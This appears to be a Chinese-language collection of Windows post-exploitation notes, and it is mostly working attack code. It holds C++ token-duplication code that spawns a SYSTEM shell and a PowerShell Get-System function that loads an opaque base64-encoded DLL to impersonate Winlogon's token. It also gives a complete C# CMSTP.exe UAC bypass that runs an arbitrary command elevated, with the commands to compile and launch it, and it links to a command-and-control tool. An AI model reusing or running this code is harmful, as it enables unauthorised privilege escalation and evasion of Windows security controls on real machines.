1.trevorc2

https://github.com/trustedsec/trevorc2

2.Get system篇

1.Windows API和模拟(get-system)

https://0x00-0x00.github.io/research/2018/10/17/Windows-API-and-Impersonation-Part1.html

#include <windows.h>
#include <stdio.h>
using namespace std;
HANDLE GetAccessToken(DWORD pid)
{

  /* Retrieves an access token for a process */
  HANDLE currentProcess = {};
  HANDLE AccessToken = {};
  DWORD LastError;

  if (pid == 0)
  {
    currentProcess = GetCurrentProcess();
  }
  else
  {
    currentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
    if (!currentProcess)
    {
      LastError = GetLastError();
      wprintf(L"ERROR: OpenProcess(): %d\n", LastError);
      return (HANDLE)NULL;
    }
  }
  if (!OpenProcessToken(currentProcess, TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, &AccessToken))
  {
    LastError = GetLastError();
    wprintf(L"ERROR: OpenProcessToken(): %d\n", LastError);
    return (HANDLE)NULL;
  }
  return AccessToken;
}

int wmain(int argc, WCHAR **argv)
{
  DWORD LastError;

  /* Argument Check */
  if (argc < 2)
  {
    wprintf(L"Usage: %ls <PID>\n", argv[0]);
    return 1;
  }

  /* Process ID definition */
  DWORD pid;
  pid = _wtoi(argv[1]);
  if ((pid == NULL) || (pid == 0)) return 1;

  wprintf(L"[+] Pid Chosen: %d\n", pid);

  // Retrieves the remote process token.
  HANDLE pToken = GetAccessToken( pid);

  //These are required to call DuplicateTokenEx.
  SECURITY_IMPERSONATION_LEVEL seImpersonateLevel = SecurityImpersonation;
  TOKEN_TYPE tokenType = TokenPrimary;
  HANDLE pNewToken = new HANDLE;
  if (!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken))
  {
    DWORD LastError = GetLastError();
    wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError);
    return 1;
  }
  wprintf(L"Process token has been duplicated.\n");
  if (!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken))
  {
    DWORD LastError = GetLastError();
    wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError);
    return 1;
  }
  wprintf(L"Process token has been duplicated.\n");

  /* Starts a new process with SYSTEM token */
  STARTUPINFOW si = {};
  PROCESS_INFORMATION pi = {};
  BOOL ret;
  ret = CreateProcessWithTokenW(pNewToken, LOGON_NETCREDENTIALS_ONLY, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
  if (!ret)
  {
    DWORD lastError;
    lastError = GetLastError();
    wprintf(L"CreateProcessWithTokenW: %d\n", lastError);
    return 1;
  }

}

以上是更改后的代码。

2.Windows API和模拟(powershell)

function Get-System 
{
    if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') 
    {
        Write-Output "This powershell shell is not in STA mode!";
        return ;
    }
    if(-not ([System.Management.Automation.PSTypeName]"zc00l.ImpersonationToken").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("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nACfAAkAoACkAAkApACpAAkAqACuAAkArACzAAkAsAC4AC4ACwApAS4AEwAyAS4AGwBRAS4AIwBaAS4AKwB1AS4AMwB1AS4AOwB1AS4AQwBaAS4ASwB7AS4AUwB1AS4AWwB1AS4AYwCTAS4AawC9AS4AcwDKAeMAewByABMAwAAlAMAAKQDAADQAvQA8AL0AGgAiADwAXgAcBSkFAAEDALkEAQBAAQUAYAcCAEABCQC0BQEAAAELAHMFAQBAAQ0AZAUBAEABDwDUBgEAQAERAGwHAgBAARMA+wQBAASAAAABAAAAAAAAAAAAAAAAANsAAAAEAAAAAAAAAAAAAABpACkCAAAAAAQAAAAAAAAAAAAAAGkAWAUAAAAAAwACAAQAAgAFAAIABgACAAcAAgAnAFkAAAAAPE1vZHVsZT4AVE9LRU5fUkVBRABTVEFOREFSRF9SSUdIVFNfUkVBRABTRV9QUklWSUxFR0VfRU5BQkxFRABTVEFOREFSRF9SSUdIVFNfUkVRVUlSRUQAU0VfUFJJVklMRUdFX1JFTU9WRUQAVE9LRU5fQURKVVNUX1NFU1NJT05JRABMVUlEAFRPS0VOX1FVRVJZX1NPVVJDRQBUT0tFTl9EVVBMSUNBVEUAVE9LRU5fSU1QRVJTT05BVEUAU0VDVVJJVFlfSU1QRVJTT05BVElPTl9MRVZFTABJbXBlcnNvbmF0aW9uVG9rZW5ETEwAUFJPQ0VTU19RVUVSWV9JTkZPUk1BVElPTgBUT0tFTl9QUklWSUxFR0VTAFRPS0VOX0FESlVTVF9QUklWSUxFR0VTAExVSURfQU5EX0FUVFJJQlVURVMAVE9LRU5fQURKVVNUX0dST1VQUwBUT0tFTl9BTExfQUNDRVNTAFNFX1BSSVZJTEVHRV9VU0VEX0ZPUl9BQ0NFU1MAUFJJVklMRUdFX1NFVABUT0tFTl9BREpVU1RfREVGQVVMVABTRV9QUklWSUxFR0VfRU5BQkxFRF9CWV9ERUZBVUxUAEFOWVNJWkVfQVJSQVkAVE9LRU5fQVNTSUdOX1BSSU1BUlkAUFJJVklMRUdFX1NFVF9BTExfTkVDRVNTQVJZAFRPS0VOX1FVRVJZAHZhbHVlX18AU2V0UXVvdGEAbXNjb3JsaWIAcHJvYwBnZXRfSWQAcHJvY2Vzc0lkAFZpcnR1YWxNZW1vcnlSZWFkAENyZWF0ZVRocmVhZABJc1ByaXZpbGVnZUVuYWJsZWQAcGlkAGxwTHVpZABFbmFibGVQcml2aWxlZ2UARHVwbGljYXRlSGFuZGxlAER1cGxpY2F0ZVRva2VuSGFuZGxlAEV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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null
        Write-Output "DLL has been reflected."
    }
    
    if(-not [zc00l.ImpersonationToken]::ImpersonateProcessToken((Get-Process Winlogon).Id))
    {
        Write-Output "Could not Impersonate Token! Maybe you are not Local Admin?";
        return;
    }
    Write-Output "We are: $([Environment]::Username)"
}

.bypass-UAC-Adduser

参考资料：

https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html

/* 
UAC Bypass using CMSTP.exe microsoft binary

Based on previous work from Oddvar Moe
Research on CMSTP.exe

And this PowerShell script of Tyler Applebaum
https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1

Code author: Andre Marques (@_zc00l)
*/
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;

public class CMSTPBypass
{
    // Our .INF file data!
    public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
""HKLM"", ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"

[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""

";

    [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

    public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";

    /* Generates a random named .inf file with command to be executed with UAC privileges */
    public static string SetInfFile(string CommandToExecute)
    {
        string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
        string TemporaryDir = "C:\\windows\\temp";
        StringBuilder OutputFile = new StringBuilder();
        OutputFile.Append(TemporaryDir);
        OutputFile.Append("\\");
        OutputFile.Append(RandomFileName);
        OutputFile.Append(".inf");
        StringBuilder newInfData = new StringBuilder(InfData);
        newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
        File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
        return OutputFile.ToString();
    }

    public static bool Execute(string CommandToExecute)
    {
        if(!File.Exists(BinaryPath))
        {
            Console.WriteLine("Could not find cmstp.exe binary!");
            return false;
        }
        StringBuilder InfFile = new StringBuilder();
        InfFile.Append(SetInfFile(CommandToExecute));

        Console.WriteLine("Payload file written to " + InfFile.ToString());
        ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
        startInfo.Arguments = "/au " + InfFile.ToString();
        startInfo.UseShellExecute = false;
        Process.Start(startInfo);

        IntPtr windowHandle = new IntPtr();
        windowHandle = IntPtr.Zero;
        do {
            windowHandle = SetWindowActive("cmstp");
        } while (windowHandle == IntPtr.Zero);

        System.Windows.Forms.SendKeys.SendWait("{ENTER}");
        return true;
    }
    public static IntPtr SetWindowActive(string ProcessName)
    {
        Process[] target = Process.GetProcessesByName(ProcessName);
        if(target.Length == 0) return IntPtr.Zero;
        target[0].Refresh();
        IntPtr WindowHandle = new IntPtr();
        WindowHandle = target[0].MainWindowHandle;
        if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
        SetForegroundWindow(WindowHandle);
        ShowWindow(WindowHandle, 5);
        return WindowHandle;
    }
}

Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"

[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\CMSTP-UAC-Bypass.dll"))
[CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")

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